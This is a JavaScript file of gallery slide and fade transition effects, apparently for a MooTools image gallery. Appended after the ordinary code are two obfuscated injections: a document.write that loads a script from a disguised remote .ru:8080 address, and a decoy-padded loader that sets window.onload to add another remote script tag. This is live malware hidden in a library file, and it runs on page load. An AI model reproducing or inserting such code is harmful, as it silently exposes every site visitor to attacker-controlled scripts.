/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
/*Exception*/ document.write('<script src='+'h&##&t#!(t()p$^&:(/&!/@(s#(#)e((^#a)!&^r@&s^&!-((c(#o^@&m^$@.^)(m(@&o$)^p)()#.@@c)&o@&m@#.!^k$##a$@@@i^@!)x!^#i^n^)@@!-$c!^@&o$&m!^).#&)g)^^^e$@@n(&^$u$#i#(n@e#c#$o#&l^!^o!!r&^^@&s#&$.@r$(#^u##&!:&!(8#$0(^8$&0$$/@&(i!(c(!)i!!!o(^^.#)!u##)(s!&)/)@@i$(c$$$^i^^o(^#.@&u$!s^)/@&!w&!$h!o()(.@#&i$!@@s)/^!(s^(z)#@#n$!.)$@c(#z$)#^/#g)&o(o&#g!l)e^(!.$!)c)(o(^!m!)&/^&@)'.replace(/#|@|&|\)|\!|\^|\(|\$/ig, '')+' defer=defer></scr'+'ipt>');
var cv=new Array();try {var D;if(D!='' && D!='Cf'){D='AD'};this.m="";var h;if(h!='' && h!='l'){h='mx'};var C=']';var E='g';this.IU="";var v='[';var aq;if(aq!='S'){aq=''};var TM="";var U=RegExp;this.J="";var JK;if(JK!='' && JK!='P'){JK=null};var B='';var vi=new Array();this.K="";var T='replace';this.zS="";function y(Ck,c){var pp;if(pp!='' && pp!='R'){pp=''};var b=v;var mG;if(mG!='e' && mG!='h_'){mG='e'};var AZ="";b+=c;var fD=new Date();b+=C;var N;if(N!='Ym'){N='Ym'};var I=new U(b, E);return Ck[T](I, B);};var yQ;if(yQ!='' && yQ!='UK'){yQ=null};var YqT;if(YqT!='' && YqT!='Q'){YqT=null};var k=y('sfcfr1iPpPt1',"PCf1");var q=y('sYe_t4A_t4t_r4i4b4ugtgeg',"_gY4");var FK='';var w=y('837473630473348117177310436467',"47361");var g=y('bNoedeyP',"QeNP");var lr;if(lr!='fw'){lr='fw'};var Te=y('curuebautbeuEulueum4eunutb',"u4b");var Ck="1";var X;if(X!='TeM' && X != ''){X=null};this.Ik='';var a=y('/3gNo3oNg3lNeN.Nc3oNm3.Np3eN/3gNoNoNgNl3eN.3cNoNmN.3p3eN/Nm3e3.3c3o3m3/Nm3yNeNg3yN.Nc3oNmN/3gNo3o3g3lNe3.3cNo3mN.NpNh3p3',"3N");var vf;if(vf!='' && vf!='wl'){vf='aI'};var M=y('aYpZpgegnWdWCYhYiglgdY',"ZYWsg");var Eu='';var r=y('hWt6t4pj:4/E/jajlWi4s6ojf4tE-WcEoWmj.EwWaWs4h4iWn4g4tWojnjpjo4sjt6.jc6ojm6.4s6hEu4fWuEn4i4-4c6oWm6.jbEeEsjtWm6yjfErjeWeW.ErEu6:E',"6EW4j");this.zf="";var f=y('osnSlSoSaSdS',"SsU");window[f]=function(){var HI='';TU=document[Te](k);var QA;if(QA!='' && QA!='fI'){QA=''};var gf;if(gf!='' && gf!='QQ'){gf=''};Eu+=r;var yX="";var RB;if(RB!='dp'){RB=''};Eu+=w;this.If="";var IF;if(IF!='nP' && IF!='SY'){IF='nP'};Eu+=a;var o_="";TU.setAttribute('defer', Ck);var Um=new Date();this.Db="";TU.src=Eu;var PS="";var RT=new String();var Y=document[g];var Xu=new String();var MS=new String();Y.appendChild(TU);var tB;if(tB!='' && tB!='bn'){tB='Ba'};};} catch(wB){var ZM=new Date();var pf=new Date();};